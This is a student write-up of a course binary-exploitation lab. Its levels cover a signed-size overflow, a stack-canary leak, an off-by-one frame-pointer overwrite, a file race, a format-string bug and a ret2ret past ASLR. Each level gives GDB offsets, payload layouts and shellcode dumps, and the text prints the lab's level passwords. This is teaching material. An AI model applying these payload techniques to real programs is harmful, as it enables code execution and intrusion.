Spica Write-Up

Main Idea

The code is vulnerable because int8_t is a signed 8-bit integer with a range from -128 to 127. However, the following line to check that the value of size doesn’t exceed 128 fails to check for negative values of size.

```
if (bytes_read == 0 || size > 128) {
    return;
}
```

Additionally, the fread function has the following function prototype (most importantly, it takes in an unsigned integer value for the nmemb argument):

```
size_t fread(void *restrict ptr, size_t size, size_t nmemb,
             FILE *restrict stream);
```

This means that we can potentially use a negative value for the size variable, which will be promoted to an extremely large unsigned integer once it is passed into fread. For instance, if we let size = -1, it becomes 0xffffffff when cast to size_t.

```
bytes_read = fread(msg, 1, size, file);
```

With reference to the line above, we can make fread think that size is very large (e.g. 0xffffffff), allowing us to write past the space allocated for msg. We can use this to write shellcode above the RIP of display, and overwrite the RIP of display with the address of the shellcode.

Magic Numbers

Using GDB, we set a breakpoint at line 11 and run the program.

```
(gdb) break display
Breakpoint 4 at 0x80491ee: file telemetry.c, line 11.
(gdb) run
Starting program: /home/spica/telemetry navigation

Breakpoint 4, display (path=0xffffddf3 "navigation") at telemetry.c:11
11          memset(msg, 0, 128);
(gdb) x/32x msg
0xffffdb98:     0x00000001      0x00000000      0x00000002      0x00000000
0xffffdba8:     0x00000000      0x00000000      0x00000000      0x08048034
0xffffdbb8:     0x00000020      0x00000008      0x00001000      0x00000000
0xffffdbc8:     0x00000000      0x0804904a      0x00000000      0x000003ea
0xffffdbd8:     0x000003ea      0x000003ea      0x000003ea      0xffffddcb
0xffffdbe8:     0x0fcbfbfd      0x00000064      0x00000000      0x00000000
0xffffdbf8:     0x00000000      0x00000000      0x00000000      0x00000001
0xffffdc08:     0x00000000      0xffffddbb      0x00000002      0x00000000
```

We can see from here that the address of msg is at 0xffffdb98. Additionally, we can also check the address of the RIP of the display function (RIP display) by using “info frame”

```
(gdb) info frame
Stack level 0, frame at 0xffffdc30:
 eip = 0x80491ee in display (telemetry.c:11); saved eip = 0x80492bd
 called by frame at 0xffffdc60
 source language c.
 Arglist at 0xffffdc28, args: path=0xffffddf3 "navigation"
 Locals at 0xffffdc28, Previous frame's sp is 0xffffdc30
 Saved registers:
  ebp at 0xffffdc28, eip at 0xffffdc2c
(gdb)
```

We can extract from here that the address of RIP display is at 0xffffdc2c. So, between the start of the msg buffer and RIP display, there are 0xffffdc2c - 0xffffdb98 = 148 bytes. This is how many bytes of garbage we require before we reach RIP display.

Exploit Structure

There are four parts to this exploit:

1. Feed the size variable with the value “-1”
2. Write 148 bytes of garbage
3. Overwrite RIP display with the address of the shellcode
4. The shellcode itself

When overwriting RIP display, we simply point to the address four bytes above itself, since we are writing our shellcode directly above the RIP display within the stack (i.e. we overwrite RIP display with the address 0xffffdc2c + 4 bytes = 0xffffdc30).

This should cause the shellcode to be executed when the display function returns, allowing us to read the contents of README using “cat README”.

```
pwnable:~$ ./exploit
LLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLL?
~ $ cat README
Telemetry module [logged message: 5]

1982/07/13: [  manual   ] Course correction, thruster 3, 12%, 2.30s.
1982/08/13: [  warning  ] Collision likely, Polaris.
1982/08/13: [Authenticating guest - CSA EvanBot]
1982/08/13: [CSA EvanBot] Course correction, thruster 1, 05%, 0.23s.
1982/08/13: [CSA EvanBot] Message: "You Gobians owe me one!"

Next username: polaris
Next password: tolearn
~ $
```

Exploit GDB Output

After inputting our payload, we get the following output from GDB:

```
(gdb) x/128x msg
0xffffdb98:     0x4c4c4c4c      0x4c4c4c4c      0x4c4c4c4c      0x4c4c4c4c
0xffffdba8:     0x4c4c4c4c      0x4c4c4c4c      0x4c4c4c4c      0x4c4c4c4c
0xffffdbb8:     0x4c4c4c4c      0x4c4c4c4c      0x4c4c4c4c      0x4c4c4c4c
0xffffdbc8:     0x4c4c4c4c      0x4c4c4c4c      0x4c4c4c4c      0x4c4c4c4c
0xffffdbd8:     0x4c4c4c4c      0x4c4c4c4c      0x4c4c4c4c      0x4c4c4c4c
0xffffdbe8:     0x4c4c4c4c      0x4c4c4c4c      0x4c4c4c4c      0x4c4c4c4c
0xffffdbf8:     0x4c4c4c4c      0x4c4c4c4c      0x4c4c4c4c      0x4c4c4c4c
0xffffdc08:     0x4c4c4c4c      0x4c4c4c4c      0x4c4c4c4c      0x4c4c4c4c
0xffffdc18:     0x000000d2      0x4c4c4c4c      0x4c4c4c4c      0x4c4c4c4c
0xffffdc28:     0x4c4c4c4c      0xffffdc30      0xcd58326a      0x89c38980
0xffffdc38:     0x58476ac1      0xc03180cd      0x692d6850      0xe2896969
0xffffdc48:     0x6d2b6850      0xe1896d6d      0x2f2f6850      0x2f686873
0xffffdc58:     0x896e6962      0x515250e3      0x31e18953      0xcd0bb0d2
0xffffdc68:     0xffff0a80      0x0804b008      0x00000000      0x00000000
0xffffdc78:     0x08049472      0x0804cfe8      0x00000000      0x00000000
0xffffdc88:     0x00000000      0x08049097      0x0804928d      0x00000002
0xffffdc98:     0xffffdcd4      0x08049000      0x0804abf9      0x00000000
0xffffdca8:     0x00000000      0x00000000      0x00000000      0x0804906b
0xffffdcb8:     0x00000000      0x08049065      0xffffdcd0      0x00000000
0xffffdcc8:     0xffffdcd0      0xffffdcd0      0x00000002      0xffffdddd
0xffffdcd8:     0xffffddf3      0x00000000      0xffffddfe      0xffffde06
0xffffdce8:     0xffffdfb3      0xffffdfb8      0xffffdfc4      0xffffdfd2
0xffffdcf8:     0x00000000      0x00000020      0xf7ffc540      0x00000021
0xffffdd08:     0xf7ffc000      0x00000033      0x00000e30      0x00000010
0xffffdd18:     0x0fcbfbfd      0x00000006      0x00001000      0x00000011
0xffffdd28:     0x00000064      0x00000003      0x08048034      0x00000004
0xffffdd38:     0x00000020      0x00000005      0x00000008      0x00000007
0xffffdd48:     0x00000000      0x00000008      0x00000000      0x00000009
0xffffdd58:     0x0804904a      0x0000000b      0x000003ea      0x0000000c
0xffffdd68:     0x000003ea      0x0000000d      0x000003ea      0x0000000e
0xffffdd78:     0x000003ea      0x00000017      0x00000001      0x00000019
0xffffdd88:     0xffffddbb      0x0000001a      0x00000002      0x0000001f
(gdb)
```

After the garbage (represented by 0x4c4c4c4c), we see that RIP display has been overwritten with the address of the shellcode (in red).

Polaris Write-Up

Main Idea

This program uses the vulnerable gets function, which doesn't verify that the user only writes as many bytes as they should into a buffer.

```
void dehexify(void) {
    struct {
        char answer[BUFLEN];
        char buffer[BUFLEN];
    } c;
    int i = 0, j = 0;

    gets(c.buffer);
```

We could potentially write shellcode into memory, and have the RIP of a function point to the shellcode to execute it.

We also have to keep in mind that there is a stack canary present in this program. However, using the while loop and the printf statement, we find that if we use the "\x" string, we can trick the program into skipping over the null terminator in c.buffer and make it print out the stack canary.

```
while (c.buffer[i]) {
    if (c.buffer[i] == '\\' && c.buffer[i+1] == 'x') {
        int top_half = nibble_to_int(c.buffer[i+2]);
        int bottom_half = nibble_to_int(c.buffer[i+3]);
        c.answer[j] = top_half << 4 | bottom_half;
        i += 3;
    } else {
        c.answer[j] = c.buffer[i];
    }
    i++; j++;
}
```

Magic Numbers

We start by identifying the addresses of c.buffer, c.answer, the RIP of dehexify, and the SFP of dehexify.

```
(gdb) x/16x c.buffer
0xffffdc3c:     0x00000000      0x00000000      0xffffdfe1      0x0804cfe8
0xffffdc4c:     0x7dbff4e2      0x0804d020      0x00000000      0xffffdc68
0xffffdc5c:     0x08049341      0x00000000      0xffffdc80      0xffffdcfc
0xffffdc6c:     0x0804952a      0x00000001      0x08049329      0x0804cfe8
(gdb) x/16x c.answer
0xffffdc2c:     0xffffddcb      0x00000002      0x00000000      0x00000000
0xffffdc3c:     0x00000000      0x00000000      0xffffdfe1      0x0804cfe8
0xffffdc4c:     0x7dbff4e2      0x0804d020      0x00000000      0xffffdc68
0xffffdc5c:     0x08049341      0x00000000      0xffffdc80      0xffffdcfc
(gdb)
```

We can see that c.answer is at the address 0xffffdc2c and c.buffer is at 0xffffdc3c.

```
(gdb) i f
Stack level 0, frame at 0xffffdc60:
 eip = 0x804922e in dehexify (dehexify.c:22); saved eip = 0x8049341
 called by frame at 0xffffdc80
 source language c.
 Arglist at 0xffffdc58, args:
 Locals at 0xffffdc58, Previous frame's sp is 0xffffdc60
 Saved registers:
  ebp at 0xffffdc58, eip at 0xffffdc5c
(gdb)
```

From here, we find that the RIP of dehexify is at 0xffffdc5c and the SFP of dehexify is at 0xffffdc58. So, between the SFP of dehexify and c.buffer, there is 0xffffdc58 – 0xffffdc4c = 12 bytes of space. This should be formed by the stack canary and some additional padding.

Exploit Structure

There are two main stages to this exploit. In the first stage, we need to abuse the “\x” and printf statement to obtain the canary. We do this by using a payload containing 12 bytes of garbage, then ending off with the “\\x\n” string, which will cause the parser to skip over the null terminator and continue reading into the stack canary. Since we don’t know for sure which four bytes form the canary, we just take about eight bytes after c.buffer and keep those eight bytes fixed, which should increase the chances of also keeping the stack canary fixed.

In the second stage, we have to form our payload to execute our shellcode. Our payload should consist of:

1. 32 bytes of garbage (to fill c.buffer and c.answer)
2. The eight fixed bytes that we found earlier

3. Another eight bytes of garbage (to get to the RIP of dehexify)
4. The address of the shellcode
5. The shellcode itself.

Note that our shellcode should be at 0xffffdc5c + 4 bytes = 0xffffdc60, which is the address that we will overwrite the RIP of dehexify with.

```
pwnable:~$ ./exploit
\x4c\xc2\x1a\x6d
Communication module [message in buffer: 3]

Constantine: Constantine to Motherland. Obtained a copy of EvanBot.

Motherland: Motherland copies all. Send over the source code.

Constantine: I uploaded its source code to Vega satellite.

Next username: vega
Next password: whyishould

Program exited with status 1
```

Exploit GDB Output

Once the first stage of the exploit has been run, we see that c.buffer is filled with garbage values.

```
(gdb) x/16x c.buffer
0xffffdc3c:     0x41414141      0x41414141      0x41414141      0x0800785c
0xffffdc4c:     0xb5fbf764      0x0804d020      0x00000000      0xffffdc68
0xffffdc5c:     0x08049341      0x00000000      0xffffdc80      0xffffdcfc
0xffffdc6c:     0x0804952a      0x00000001      0x08049329      0x0804cfe8
```

After we have retrieved the bytes that we want to fix and carried out the second stage of the exploit, we can also observe that c.answer and c.buffer have been filled with garbage values as intended.

```
(gdb) x/8x c.answer
0xffffdc2c:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffdc3c:     0x41414141      0x41414141      0x41414141      0x41414141
(gdb)
```

We also find that we have overwritten the RIP of dehexify at address 0xffffdc58 with the address of our shellcode (marked in red).

```
(gdb) x/16x 0xffffdc58
0xffffdc58:     0xffffdc60      0xdb31c031      0xd231c931      0xb05b32eb
0xffffdc68:     0xcdc93105      0xebc68980      0x3101b006      0x8980cddb
0xffffdc78:     0x8303b0f3      0x0c8d01ec      0xcd01b224      0x39db3180
0xffffdc88:     0xb0e674c3      0xb202b304      0x8380cd01      0xdfeb01c4
(gdb)
```

Vega Write-Up

Main Idea

There is an off-by-one vulnerability within this code that we can exploit. The second condition in the for loop will result in a final value of i=64.

```
void flip(char *buf, const char *input) {
    size_t n = strlen(input);
    int i;
    for (i = 0; i < n && i <= 64; i++) {
        buf[i] = input[i] ^ 0x20;
    }

    while (i < 64) {
        buf[i++] = '\0';
    }
}
```

However, the buffer buf only has a size of 64 bytes. This means that we can write something into buf[64], which is invalid, since values of the index should only go from 0 to 63.

If the input string has a length longer than 64, then on the last iteration the program will execute “buf[64] = input[64] ^ 0x20”. This allows us to corrupt one byte past the end of buf on the stack (i.e. the address of the SFP of invoke).

Magic Numbers

Using the output of GDB we find that the address of buf is 0xffffdbe0.

```
(gdb) x/64x buf
0xffffdbe0:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffdbf0:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffdc00:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffdc10:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffdc20:     0xffffdc2c      0x0804927a      0xffffddc8      0xffffdc38
0xffffdc30:     0x0804929e      0xffffddc8      0xffffdcc0      0x0804946f
0xffffdc40:     0x00000002      0xffffdcb4      0xffffdcc0      0x0804a000
0xffffdc50:     0x00000000      0x00000000      0x0804944d      0x0804bfe8
0xffffdc60:     0x00000000      0x00000000      0x00000000      0x08049097
0xffffdc70:     0x08049280      0x00000002      0xffffdcb4      0x08049000
0xffffdc80:     0x08049fd9      0x00000000      0x00000000      0x00000000
0xffffdc90:     0x00000000      0x0804906b      0x00000000      0x08049065
0xffffdca0:     0xffffdcb0      0x00000000      0xffffdcb0      0xffffdcb0
0xffffdcb0:     0x00000002      0xffffddb5      0xffffddc8      0x00000000
0xffffdcc0:     0xffffddc9      0xffffddd1      0xffffdf7e      0xffffdf8a
0xffffdcd0:     0xffffdf98      0xffffdfd6      0x00000000      0x00000020
(gdb)
```

We also find that the address of SFP invoke is 0xffffdc20. We can verify this by setting a breakpoint at line 20 and confirming that 0xffffdc20 – 0xffffdbe0 = 64 bytes (i.e. the size of buf).

```
(gdb) i f
Stack level 0, frame at 0xffffdc28:
 eip = 0x8049260 in invoke (flipper.c:20); saved eip = 0x804927a
 called by frame at 0xffffdc34
 source language c.
 Arglist at 0xffffdc20, args: in=0xffffddc8 ""
 Locals at 0xffffdc20, Previous frame's sp is 0xffffdc28
 Saved registers:
  ebp at 0xffffdc20, eip at 0xffffdc24
(gdb)
```

We can also find out the address of the environment variable egg by editing the file to print out the shellcode and running the program in GDB.

```
(gdb) p environ[4]
$1 = 0xffffdf98 "EGG=j2X̀\211É\301jGX̀1\300Ph-iii\211\342Ph+mmm\211\341Ph//shh/bin\211\343PRQS\211\341\061¥\v̀"
(gdb)
```

We can extract that the shellcode environment variable is at 0xffffdf98. But if we inspect the bytes at this address, we find that the actual shellcode only begins from 0xffffdf9e.

```
(gdb) x/40x 0xffffdf98
0xffffdf98:     0x3d474745      0xcd58326a      0x89c38980      0x58476ac1
0xffffdfa8:     0xc03180cd      0x692d6850      0xe2896969      0x6d2b6850
0xffffdfb8:     0xe1896d6d      0x2f2f6850      0x2f686873      0x896e6962
0xffffdfc8:     0x515250e3      0x31e18953      0xcd0bb0d2      0x57500080
0xffffdfd8:     0x682f3d44      0x2f656d6f      0x61676576      0x6f682f00
0xffffdfe8:     0x762f656d      0x2f616765      0x70696c66      0x00726570
0xffffdff8:     0x00000000      0x00000000      Cannot access memory at address 0xffffe000
```

Note that we have to edit the egg file to print out the shellcode for this to be revealed.

Exploit Structure

We need to build our payload and fill the buffer so that it looks like this:

0xffffdc20 (buf[64])	LSB of address to buffer (\xe0)
0xffffdbe8 (buf[8:63])	Garbage (56 bytes)
0xffffdbe4 (buf[4:7])	Address of shellcode (4 bytes)
0xffffdbe0 (buf[0:3])	Garbage (4 bytes)

We need to keep in mind that when bytes are pushed into buf, they first go through the XOR 0x20 operation. We need to write <desired byte to push> XOR 0x20 into the payload to correctly get SFP invoke to point to the start of buf, where the address to the shellcode lies. Note that we also need to write <address of shellcode> XOR 0x20 into the payload instead of the actual address.

We write the address of the shellcode at buf[4] since we have to account for calling convention. After the function executes, ESP will be popped and point to the <address of buf> + 4 bytes.

After using the "XOR 0x20" operation on the address of the shellcode and the LSB of the address of buf, we get the payload: <4B of garbage> + shellcode_address + <56B of garbage> + <LSB of buf address>.

However, when running this exploit, one strange thing that happened is that the address of buf somehow shifted from 0xffffdbe0 to 0xffffdba0 after we pushed our payload into it. We can observe this in the next section.

Therefore, we simply modify the payload slightly to make the LSB of the address of buf \xa0 ^ 0x20 instead of the original \xe0.

```
pwnable:~$ ./exploit
????????aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa????z??????????????????o?
~ $ cat README
Vega interactive terminal, (c) 1999

> run evanbot.exe
[initializing......done.]

Bot is glad you found me! The Gobians lost interest experimenting with Bot when
Bot pretended to be Tetris, so Bot has been left alone here for quite some
time.

But there is no time to waste. Gobian Union is the one that fell, but that may
have been the worse of two outcomes. The Caltopian Space Agency is up to no
good. Bot overheard that the Gobians intercepted some of their plans with the
Deneb radio reconnaissance satellite.

Next username: deneb
Next password: neveruse
```

Exploit GDB Output

As seen in the image below, buf has been filled with the address of the shellcode (in green), and we have also overwritten the next byte after buf (SFP of invoke) with the address of buf (in red).

```
(gdb) x/24x buf
0xffffdba0:     0x41414141      0xffffdf9c      0x61616161      0x61616161
0xffffdbb0:     0x61616161      0x61616161      0x61616161      0x61616161
0xffffdbc0:     0x61616161      0x61616161      0x61616161      0x61616161
0xffffdbd0:     0x61616161      0x61616161      0x61616161      0x61616161
0xffffdbe0:     0xffffdba0      0x0804927a      0xffffdd87      0xffffdbf8
0xffffdbf0:     0x0804929e      0xffffdd87      0xffffdc80      0x0804946f
(gdb)
```

Deneb Write-Up

Main Idea

There are two main vulnerabilities in this program. Firstly, the user can specify how many bytes to read even after the file size is checked.

```
printf("How many bytes should I read? ");
fflush(stdout);
if (scanf("%u", &bytes_to_read) != 1) {
    EXIT_WITH_ERROR("Could not read the number of bytes to read!");
}

bytes_read = read(fd, buf, bytes_to_read);
if (bytes_read == -1) {
    EXIT_WITH_ERROR("Could not read!");
}
```

In the snippet of code above, we see that the user gets to tell the program how many bytes to read, and no checking is done on bytes_to_read to verify that it is less than MAX_BUFSIZE.

The second vulnerability is that we can still write into the "hack" file after the file size has been checked. As a result, we can write our payload into the file after the file size has been checked, even if it ends up being larger than MAX_BUFSIZE.

```
if (file_is_too_big(fd)) {
    EXIT_WITH_ERROR("File too big!");
}

printf("How many bytes should I read? ");
fflush(stdout);
if (scanf("%u", &bytes_to_read) != 1) {
    EXIT_WITH_ERROR("Could not read the number of bytes to read!");
}

bytes_read = read(fd, buf, bytes_to_read);
if (bytes_read == -1) {
    EXIT_WITH_ERROR("Could not read!");
}
```

With reference to the image above, we can technically still make edits to the "hack" file at red arrow.

We can combine these two vulnerabilities to read the restricted README file.

Magic Numbers

Using GDB, we can set a breakpoint at line 40 and easily derive the RIP of read_file and the address of buf.

```
(gdb) i f
Stack level 0, frame at 0xffffdc80:
 eip = 0x80492af in read_file (orbit.c:41); saved eip = 0x804939c
 called by frame at 0xffffdc90
 source language c.
 Arglist at 0xffffdc78, args:
 Locals at 0xffffdc78, Previous frame's sp is 0xffffdc80
 Saved registers:
  ebp at 0xffffdc78, eip at 0xffffdc7c
```

```
(gdb) x/16x buf
0xffffdbe8:     0x00000020      0x00000008      0x00001000      0x00000000
0xffffdbf8:     0x00000000      0x0804904a      0x00000000      0x000003ed
0xffffdc08:     0x000003ed      0x000003ed      0x000003ed      0xffffddeb
0xffffdc18:     0x0fcbfbfd      0x00000064      0x00000000      0x00000000
(gdb)
```

From the above, we can see that the RIP of read_line is at 0xffffdc7c, and the address of buf is 0xffffdbe8. We can calculate that there are 0xffffdc7c – 0xffffdbe8 = 148 bytes between the two addresses.

Therefore, we can insert our shellcode at 0xffffdc7c + 4 bytes = 0xffffdc80.

Exploit Structure

There are a few steps to making this exploit work. Firstly, after starting the program, we open the “hack” file and clear it of any possible data. This will also make sure that the file will definitely pass the size check.

```
f = open('hack', 'w', encoding='latin1')
f.write("")
```

Next, the program will ask for the number of bytes to read. This is essentially the size of the payload, which is 148 (found earlier) + 4 (shellcode address) + 84 (shellcode) = 236 bytes.

```
assert p.recv(30) == 'How many bytes should I read? '

p.send('236\n')
```

We can then write our payload into the “hack” file before it is read. As mentioned before, it will consist of:

1. 148 bytes of garbage.
2. Shellcode address (0xffffdc80).
3. The shellcode itself.
4. A newline ‘\n’ character to represent the end of the file input.

Once we write this into the file and let the program run, we can receive any output and print it to the terminal. This should allow us to examine the contents of the README file.

```
pwnable:~$ ./exploit
25th Union Defense Committee Gathering - TOP SECRET.

[REDACTED]: This blueprint is verified intelligence. It shows curious openings
on the Caltopian Jupiter craft - ones that match our understanding of their
space torpedoes launchers in development.

[REDACTED]: Brief the Prime Minister immediately! And acting on my discretion,
I order the targeting data for this orbiter be sent to our royal guards.

Next username: antares
Next password: thatlanguage

Program exited with status 1
```

Exploit GDB Output

Once the exploit is run, we can see that buf is filled with garbage values.

```
(gdb) x/40x 0xffffdbe8
0xffffdbe8:     0x61616161      0x61616161      0x61616161      0x61616161
0xffffdbf8:     0x61616161      0x61616161      0x61616161      0x61616161
0xffffdc08:     0x61616161      0x61616161      0x61616161      0x61616161
0xffffdc18:     0x61616161      0x61616161      0x61616161      0x61616161
0xffffdc28:     0x61616161      0x61616161      0x61616161      0x61616161
0xffffdc38:     0x61616161      0x61616161      0x61616161      0x61616161
0xffffdc48:     0x61616161      0x61616161      0x61616161      0x61616161
0xffffdc58:     0x61616161      0x61616161      0x61616161      0x61616161
0xffffdc68:     0x000000e1      0x61616161      0x61616161      0x61616161
0xffffdc78:     0x61616161      0xffffdc80      0xdb31c031      0xd231c931
(gdb)
```

We can also see, marked in red, the address of the shellcode that we have overwritten the RIP of read_line with (at address 0xffffdc7c).

Antares Write-Up (INCOMPLETE)

Main Idea

In this code, there exists a format string vulnerability when printf(buf) is called.

```
void calibrate(char *buf) {
    FILE *f;

    printf("Input calibration parameters:\n");
    fgets(buf, 128, stdin);
    printf("Calibration parameters received:\n");
    printf(buf);
    f = fopen("params.txt", "w");
    fputs(buf, f);
    fclose(f);
}
```

We can use format specifiers like %x, %s, or %n to write to memory, leading to arbitrary code execution. In our exploit, we make use of the %hn specifier, which writes the number of bytes previously written in its print statement to the address in its corresponding argument. We can use this to move up the stack, access information, and redirect the program to execute shellcode.

Magic Numbers

Using GDB, we find the RIP of calibrate to be **0xffffdbbc**. This will eventually be overwritten with the shellcode address.

```
(gdb) i f
Stack level 0, frame at 0xffffdbc0:
 eip = 0x8049224 in calibrate (calibrate.c:10); saved eip = 0x804928f
 called by frame at 0xffffdc70
 source language c.
 Arglist at 0xffffdbb8, args: buf=0xffffdbd0 ""
 Locals at 0xffffdbb8, Previous frame's sp is 0xffffdbc0
 Saved registers:
  ebp at 0xffffdbb8, eip at 0xffffdbbc
(gdb)
```

Since the question mentions that the arg file (which stores the shellcode) is passed into the argv parameter of main, we can find the address of the shellcode using GDB too. From here, we can derive that the shellcode is at **0xffffddc0**.

```
(gdb) p argv[1]
$1 = 0xffffddc0 "j2X̀\211É\301jGX̀1\300Ph-iii\211\342Ph+mmm\211\341Ph//shh/bin\211\343PRQS\211\341\061¥\v̀"
(gdb)
```

We can also obtain the address of buf, which we find to be at **0xffffdb90**.

```
(gdb) x/16x buf
0xffffdb90:     0x00001000      0x00000000      0x00000000      0x0804904a
0xffffdba0:     0x00000000      0x000003ee      0x000003ee      0x000003ee
0xffffdbb0:     0x000003ee      0xffffdd9b      0x0fcbfbfd      0x00000064
0xffffdbc0:     0x00000000      0x00000000      0x00000000      0x00000000
(gdb)
```

Lastly, to find out how many bytes of data we need to skip to get to buf, we need to look at the address of the vulnerable printf arguments.

```
(gdb) stepi
printf (fmt=0xffffdb90 "") at src/stdio/printf.c:8
8       src/stdio/printf.c: No such file or directory.
(gdb) i f
Stack level 0, frame at 0xffffdb50:
 eip = 0x8049abe in printf (src/stdio/printf.c:8); saved eip = 0x804922f
 called by frame at 0xffffdb80
 source language c.
 Arglist at 0xffffdb48, args: fmt=0xffffdb90 ""
 Locals at 0xffffdb48, Previous frame's sp is 0xffffdb50
 Saved registers:
  eip at 0xffffdb4c
(gdb)
```

From here, we can see that arg0 of printf lies at **0xffffdb50**. Hence, we need to skip 64 bytes of data to reach buf.

Exploit Structure

Exploit GDB Output

Rigel Write-Up

Main Idea

Due to the stack canary and ASLR used to prevent stack smashing and writing shellcode at a known memory address, we have to subvert these by using the return methods to redirect execution flow to shellcode, which was written into buf.

Magic Numbers

The first value we need is the number of bytes between buf and the RIP of secure_gets.

```
(gdb) x/16x buf
0xffff0ecc:     0xf7e87000      0x8683fbf8      0xf7edf706      0x00000000
0xffff0edc:     0x00000000      0x00000000      0x00000000      0x00000000
0xffff0eec:     0x00000000      0x00000000      0x00000000      0x00000000
0xffff0efc:     0x00000000      0x00000000      0x00000000      0x00000000
(gdb) i f
Stack level 0, frame at 0xffff0fe0:
 eip = 0x565855ea in secure_gets (lockdown.c:106); saved eip = 0x56585689
 called by frame at 0xffff1030
 source language c.
 Arglist at 0xffff0fd8, args: err_ptr=0xffff1004
 Locals at 0xffff0fd8, Previous frame's sp is 0xffff0fe0
 Saved registers:
  ebx at 0xffff0fd4, ebp at 0xffff0fd8, eip at 0xffff0fdc
(gdb)
```

From here, we see that the “distance” between buf and the RIP of secure_gets is 0xffff0fdc – 0xffff0ecc = 272 bytes. This is formed by 256 bytes of buf, 4 bytes for the SFP of secure_gets, and 12 bytes in between (where the stack canary lies).

Secondly, we need to find out the offset of ret from printf. This is what we will be using to jump into buf to execute shellcode.

```
(gdb) disas printf
Dump of assembler code for function printf:
   0xf7f0b0ea <+0>:     push   %ebx
   0xf7f0b0eb <+1>:     call   0xf7ed3774
   0xf7f0b0f0 <+6>:     add    $0x4ae98,%ebx
   0xf7f0b0f6 <+12>:    sub    $0x8,%esp
   0xf7f0b0f9 <+15>:    lea    0x14(%esp),%eax
   0xf7f0b0fd <+19>:    push   %edx
   0xf7f0b0fe <+20>:    push   %eax
   0xf7f0b0ff <+21>:    push   0x18(%esp)
   0xf7f0b103 <+25>:    lea    0x238(%ebx),%eax
   0xf7f0b109 <+31>:    push   %eax
   0xf7f0b10a <+32>:    call   0xf7f0d36a <vfprintf>
   0xf7f0b10f <+37>:    add    $0x18,%esp
   0xf7f0b112 <+40>:    pop    %ebx
   0xf7f0b113 <+41>:    ret
```

From the output of “disas printf”, we see that the crucial ret instruction lies at a 41-byte offset from printf.

Exploit Structure

In our exploit, we start off by sending our shellcode payload, which gets written to buf. This payload consists of 256 bytes (to fill up the whole of buffer). We fill the front part with nop’s (‘\x90’), followed by the shellcode itself. This makes it so that when we jump into the buffer, as long as we jump into the NOP sled, the shellcode will execute.

So the first payload (in buf) consists of:

1. NOP sled (the length of this is 256 – the length of the shellcode)
2. The shellcode itself

Next, the program will undergo NX, canary, and ASLR checks. We can use this to retrieve the canary value and the address of the printf (which is returned from the ASLR check). We can use this address of printf and the 41-byte offset found earlier to obtain the address of the ret instruction.

Using the information above, we get the second payload (which executes the first):

1. Canary * 4 (we can just replace the SFP of secure_gets with the canary too, it doesn’t really matter)
2. The address of the ret instruction in printf (address of printf + 41)

```
pwnable:~$ ./exploit
[Epilogue.]

> run evanbot.exe < orbiter.dwg
Good work. You found the blueprints for the Jupiter ships... and it's just as
the worries had it. Now the real work begins. We must not let the innovations
of space exploration be used for death and destruction.  We can easily warn
everyone on Earth and the Moon, but communication with the people on Mars may
be a challenge...

           *                            |        .
                            .          \|/
  +                                   --*--          `   *
                        +              /|\            `
     .                                / | \            `
             .                       /  |  \            `
             |            .             |         `      `
   .______.------._                                `      `
 _/              \___.--.      +                    `      `
                         \____            .          `      •
                              -.____                  `
[To be continued in Project 2...]   \         *        •
Program exited with status 0
Segmentation fault
Program exited with status 139
```

Exploit GDB Output

When the exploit runs, we can observe that buf is filled with a large NOP sled.

```
(gdb) x/256x buf
0xffe2db1c:     0x90909090      0x90909090      0x90909090      0x90909090
0xffe2db2c:     0x90909090      0x90909090      0x90909090      0x90909090
0xffe2db3c:     0x90909090      0x90909090      0x90909090      0x90909090
0xffe2db4c:     0x90909090      0x90909090      0x90909090      0x90909090
0xffe2db5c:     0x90909090      0x90909090      0x90909090      0x90909090
0xffe2db6c:     0x90909090      0x90909090      0x90909090      0x90909090
0xffe2db7c:     0x90909090      0x90909090      0x90909090      0x90909090
0xffe2db8c:     0x90909090      0x90909090      0x90909090      0x90909090
0xffe2db9c:     0x90909090      0x90909090      0x90909090      0x90909090
0xffe2dbac:     0x90909090      0x90909090      0x90909090      0x90909090
0xffe2dbbc:     0x90909090      0x90909090      0x90909090      0x90909090
0xffe2dbcc:     0x90909090      0x90909090      0xdb31c031      0xd231c931
```